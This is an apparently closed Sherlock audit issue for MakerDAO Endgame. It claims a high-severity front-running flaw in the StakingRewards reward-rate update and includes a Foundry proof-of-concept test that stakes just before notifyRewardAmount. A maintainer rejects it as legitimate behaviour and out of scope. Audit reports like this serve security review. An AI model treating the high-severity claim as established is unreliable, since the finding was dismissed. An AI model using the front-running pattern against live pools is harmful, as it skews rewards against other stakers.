sherlock-audit / 2024-06-makerdao-endgame-judging

1 stars 1 forks source link

JuggerNaut63 - Front-Running Exploit in Reward Rate Update Mechanism #40

Closed sherlock-admin2 closed 1 month ago

sherlock-admin2 commented 1 month ago

JuggerNaut63

High

Front-Running Exploit in Reward Rate Update Mechanism

Summary

The StakingRewards contract is vulnerable to a front-running exploit where an attacker can monitor pending transactions that update the reward rate and quickly stake tokens before the transaction is mined. This allows the attacker to earn disproportionately high rewards, undermining the fairness and economic balance of the staking system.

Vulnerability Detail

  1. An attacker monitors the blockchain for pending notifyRewardAmount transactions.
  2. Upon detecting such a transaction, the attacker quickly sends a stake transaction with a large amount of tokens.
  3. The attacker's transaction is mined before the notifyRewardAmount transaction, allowing them to stake tokens at the old reward rate.
  4. Once the notifyRewardAmount transaction is mined, the reward rate is updated, and the attacker earns higher rewards than intended.

Impact

Code Snippet

https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/endgame-toolkit/src/synthetix/StakingRewards.sol#L144-L163

Tool used

Manual Review

Recommendation

PoC

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import "forge-std/Test.sol";
import "../src/synthetix/StakingRewards.sol";
import "openzeppelin-contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20 {
    constructor() ERC20("Mock Token", "MTK") {
        _mint(msg.sender, 1000000 * 10 ** decimals());
    }

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract StakingRewardsExploitTest is Test {
    StakingRewards stakingRewards;
    MockERC20 rewardsToken;
    MockERC20 stakingToken;
    address attacker = address(0x1);
    address rewardsDistribution = address(0x2);

    function setUp() public {
        rewardsToken = new MockERC20();
        stakingToken = new MockERC20();
        stakingRewards = new StakingRewards(address(this), rewardsDistribution, address(rewardsToken), address(stakingToken));

        // Transfer some tokens to the attacker
        stakingToken.mint(attacker, 1000 * 10 ** stakingToken.decimals());
        rewardsToken.mint(address(stakingRewards), 1000 * 10 ** rewardsToken.decimals());
    }

    function testExploit() public {
        // Step 1: Initial State
        vm.startPrank(attacker);
        stakingToken.approve(address(stakingRewards), 1000 * 10 ** stakingToken.decimals());
        vm.stopPrank();

        // Step 2: Detect Pending Transaction
        // Simulate detection of pending notifyRewardAmount transaction
        uint256 pendingReward = 500 * 10 ** rewardsToken.decimals();

        // Step 3: Front-Running
        vm.startPrank(attacker);
        stakingRewards.stake(1000 * 10 ** stakingToken.decimals());
        vm.stopPrank();

        // Step 4: Update Reward Rate
        vm.prank(rewardsDistribution);
        stakingRewards.notifyRewardAmount(pendingReward);

        // Step 5: Earn Higher Rewards
        vm.warp(block.timestamp + 1 days); // Fast forward time to accumulate rewards

        // Step 6: Withdraw Rewards
        vm.startPrank(attacker);
        stakingRewards.exit();
        vm.stopPrank();

        // Assert that the attacker has received the rewards
        uint256 attackerRewardBalance = rewardsToken.balanceOf(attacker);
        assert(attackerRewardBalance > 0);

        emit log_named_uint("Attacker Reward Balance", attackerRewardBalance);
    }
}

forge test --match-path test/StakingRewardsExploitTest.sol [⠒] Compiling... No files changed, compilation skipped

Ran 1 test for test/StakingRewardsExploitTest.sol:StakingRewardsExploitTest [PASS] testExploit() (gas: 267189) Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.56ms (370.80µs CPU time)

Ran 1 test suite in 6.63ms (1.56ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

sunbreak1211 commented 1 month ago

Front running a reward distribution to earn high rewards is not considered a bug but a legitimate action. Also note that the relevant code for this issue appears in the original Synthetix staking rewards contract and this out of scope.